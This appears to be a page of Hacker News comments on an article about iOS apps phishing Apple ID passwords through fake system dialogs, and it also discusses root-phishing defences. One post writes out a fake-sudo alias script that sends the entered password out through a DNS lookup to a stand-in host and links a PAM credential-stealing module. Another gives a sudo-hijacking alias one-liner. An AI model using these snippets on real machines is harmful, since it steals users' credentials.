Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

iOS Privacy: Easily get a user's Apple ID password, just by asking

krausefx.com

Post reply on HN
Print view View original

201–210 of 326 posts

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#201

Post by e12e »

blincoln wrote: post #147
spydum wrote: post #24

Earlier quoted context omitted.

I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.

There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.). [1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

You can't insert a pam module without root? But you can alias sudo to a script that does something like:

  echo "enter sudo pw:"
  read pw
  # log ip and query on ns for
  # example.com
  host "$USER.$pw.example.com" &
  echo "Invalid pw"
  sudo $*
Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth

If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#202

Post by giobox »

infogulch wrote: post #15
f055 wrote: post #4

I remember having the same idea, but I always thought the password dialog is distinct from any other dialog available to the app developers. Guess now it all looks the same :P

All apps have always had complete freedom to draw their UI in any way they want. Look and feel is completely up to the developer. There's nothing "special" about the design of system dialogs themselves, it's all just pixels.

I see your point, but it is a little bit misleading to say developers have complete freedom to draw their UI any way they want. You can still have an app rejected on UI grounds during review. Make an app with a crappy enough UI and it can be rejected citing the "Substandard User Interface" rule in the App Store guidelines. What constitutes the meaning of "Substandard" is of course whatever Apple wants it to be.

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#203

Post by Nagyman »

jtbayly wrote: post #32
wll wrote: post #10

detect.location: https://github.com/KrauseFx/detect.location watch.user: https://github.com/KrauseFx/watch.user

Without clicking, I have no idea what these links are or why you included them in this conversation. Care to elaborate?

They're also referenced in the article, under the paragraph titled "Phishing on mobile? Is that a thing now?"

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#204

Post by vortico »

seiferteric wrote: post #197
vortico wrote: post #3

This is related to an issue called root-phishing or superuser-phishing. You can do this with the Windows admin password prompt, the MacOS prompt, or with Linux sudo, as long as you can run code from a user account or edit a single file. alias sudo='sudo ./somethingbad; sudo' I'm surprised you don't hear about this that often. There is no perfect solution, since any visual feedback the operating system can do to make…

Ya there are some solutions, like you can prefix a '\' before a command to make sure you are running the real command and not a alias, so in your example running: \sudo would defeat your attack. But few are in the practice of doing that.

Didn't know that! Thanks.

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#205

Post by soared »

seanwilson wrote: post #184

I think OAuth and single sign on is great but I always thought OAuth had a similar issue to this. You're on a random website, you click to login via e.g. Google and then enter your Google password into the login dialog that appears. It's asking wayyy too much from regular users to be able to tell if this is safe or not. I'm really surprised there haven't been more phishing attempts where a fake login is shown which s…

One of those recent widespread google docs attack used this strategy to get into lots of business g accounts.

https://news.ycombinator.com/item?id=14205432

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#206

Post by emmelaich »

jsjohnst wrote: post #59
ascagnel_ wrote: post #51

Earlier quoted context omitted.

Not entirely -- keyboard apps can intercept keystrokes and send them to a remote server.

Keyboard apps explicitly have to ask for “full access” and you need to opt-in. Also, apps can block 3rd party keyboards, not sure how many secure / banking apps do that though.

What's stopping an app from imitating the keyboard?

Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system.

And even many people will fall for password prompts in the main screen.

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#208

Post by cisanti »

vortico wrote: post #105
mikestew wrote: post #96

Earlier quoted context omitted.

If someone finds my phone, it'll be locked and they won't be able to install anything “Does your phone have a calculator? Mine’s in my bag and I need to add these values real quick.”

"Yes, but no, use your own." No one has touched my phone while it was unlocked since middle school.

Most of the people have girlfriends and friends.

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#209

Post by Splines »

breatheoften wrote: post #178
vortico wrote: post #3

This is related to an issue called root-phishing or superuser-phishing. You can do this with the Windows admin password prompt, the MacOS prompt, or with Linux sudo, as long as you can run code from a user account or edit a single file. alias sudo='sudo ./somethingbad; sudo' I'm surprised you don't hear about this that often. There is no perfect solution, since any visual feedback the operating system can do to make…

I really like the solution that includes the iOS background — the os password dialogues should adopt this approach immediately. Zoom out to a view that includes springboard and your background image, and maybe include a preview of the app in a little window that the user can tap to return to the app rather than a non-contextual “cancel” button if the password prompt is related to the app context for some reason.

I've seen this at banks that do something similar (and it's probably for this reason). They include a user-selected picture at logon, so if you see the wrong picture, you know that their logon page is being spoofed.

I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.

Re: iOS Privacy: Easily get a user's Apple ID password, just by asking

#210

Post by bighi »

earenndil wrote: post #121
mikestew wrote: post #96

Earlier quoted context omitted.

If someone finds my phone, it'll be locked and they won't be able to install anything “Does your phone have a calculator? Mine’s in my bag and I need to add these values real quick.”

On ios, you can get to the calculator while the system is still locked.

It was just an example.
Post reply on HN